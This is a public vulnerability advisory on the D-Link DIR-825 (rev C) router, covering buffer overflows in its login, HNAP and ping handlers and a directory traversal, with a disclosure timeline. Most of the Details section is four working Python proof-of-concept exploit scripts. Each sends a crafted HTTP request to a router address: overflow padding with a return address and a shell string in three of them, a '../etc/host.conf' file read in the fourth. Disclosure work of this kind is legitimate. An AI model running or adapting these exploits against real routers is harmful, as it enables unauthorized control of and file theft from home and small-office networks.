## Advisory Information
Title: DIR-825 (vC) Buffer overflows in authentication,HNAP and ping functionalities. Also a directory traversal
issue exists which can be exploited
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed
issues as per the email communication. The vendor had also released the information on their security advisory
pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly
accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing
this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR-825 (vC) -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 4 security issues in DIR-825 firmware which allows an attacker to exploit buffer overflows in
authentication, HNAP and Ping functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited
by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack
directly or using XSRF if not exposed. The ping functionality based buffer overflow and directory traversal would
require an attacker to be on network and use XSRF to exploit buffer overflow whereas would require some sort of
authentication as low privileged user atleast to exploit directory traversal.
## Details
Buffer overflow in auth
------------------------------------------------------------------------------------------------------------------
----
import socket
import struct
'''
287 + XXXX in query_string value, right now only working with Exit address as sleep address has bad chars which
disallows from using regular shellcode directly
'''
buf = "GET /dws/api/Login?test="
buf+="B"*251
buf+="CCCC" #s0
buf+="FFFF" #s1
buf+="FFFF" #s2
buf+="FFFF" #s3
buf+="XXXX" #s4
buf+="HHHH" #s5
buf+="IIII" #s6
buf+="JJJJ" #s7
buf+="LLLL"
buf+="\x2a\xbc\x8c\xa0" # retn address
buf+="C"*24 #
buf+="sh;;"
buf+="K"*20
buf+="\x2a\xc0\xd2\xa0" #s1
buf+="\x2a\xc0\xd2\xa0" #s1
buf
+="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCC"
buf+="&password=A HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml
+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
soc=s.recv(2048)
print soc
------------------------------------------------------------------------------------------------------------------
----
Buffer overflow in HNAP
------------------------------------------------------------------------------------------------------------------
----
import socket
import struct
'''
4138 + XXXX in SoapAction value, right now only working with Exit address as sleep address has bad chars which
disallows from using regular shellcode directly
'''
buf = "POST /HNAP1/ HTTP/1.1\r\n"
buf+= "Host: 10.0.0.90\r\n"
buf+="SOAPACTION:http://purenetworks.com/HNAP1/GetDeviceSettings/"+"A"*4138+"\x2a\xbc\x8c\xa0"+"D"*834+"\r\n"
buf+="Proxy-Connection: keep-alive\r\n"
buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n"
buf+"Cache-Control: max-age=0\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143
Safari/537.36\r\n"
buf+="Accept-Encoding: gzip,deflate,sdch\r\n"
buf+="Accept-Language: en-US,en;q=0.8\r\n"
buf+="Cookie: uid:1111;\r\n"
buf+="Content-Length: 13\r\n\r\ntest=test\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
soc=s.recv(2048)
print soc
------------------------------------------------------------------------------------------------------------------
----
Directory traversal
------------------------------------------------------------------------------------------------------------------
----
import socket
import struct
'''
Useful to do directory traversal attack which is possible in html_response_page variable below which prints the
conf file, but theoretically any file, most likely only after login accessible
'''
payload="html_response_page=../etc/host.conf&action=do_graph_auth&login_name=test&login_pass=test1&login_n=test2&l
og_pass=test3&graph_code=63778&session_id=test5&test=test"
buf = "POST /apply.cgi HTTP/1.1\r\n"
buf+= "Host: 10.0.0.90\r\n"
buf+="Proxy-Connection: keep-alive\r\n"
buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n"
buf+"Cache-Control: max-age=0\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143
Safari/537.36\r\n"
buf+="Accept-Encoding: gzip,deflate,sdch\r\n"
buf+="Accept-Language: en-US,en;q=0.8\r\n"
buf+="Cookie: session_id=test5;\r\n"
buf+="Content-Length: "+str(len(payload))+"\r\n\r\n"
buf+=payload+"\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
soc=s.recv(2048)
print soc
------------------------------------------------------------------------------------------------------------------
----
Buffer overflow in ping
------------------------------------------------------------------------------------------------------------------
----
import socket
import struct
'''
282 + XXXX in ping_ipaddr value, right now only working with Exit address as sleep address has bad chars which
disallows from using regular shellcode directly
'''
payload="html_response_page=tools_vct.asp&action=ping_test&html_response_return_page=tools_vct.asp&ping=ping&ping_
ipaddr=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"+"\x2a\xbc\x8c\xa0"+"CCXXXXDDDDEEEE&test=test"
buf = "POST /ping_response.cgi HTTP/1.1\r\n"
buf+= "Host: 10.0.0.90\r\n"
buf+="Proxy-Connection: keep-alive\r\n"
buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n"
buf+"Cache-Control: max-age=0\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143
Safari/537.36\r\n"
buf+="Accept-Encoding: gzip,deflate,sdch\r\n"
buf+="Accept-Language: en-US,en;q=0.8\r\n"
buf+="Cookie: session_id=test5;\r\n"
buf+="Content-Length: "+str(len(payload))+"\r\n\r\n"
buf+=payload+"\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
soc=s.recv(2048)
print soc
------------------------------------------------------------------------------------------------------------------
----
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley (samhuntley84@gmail.com).
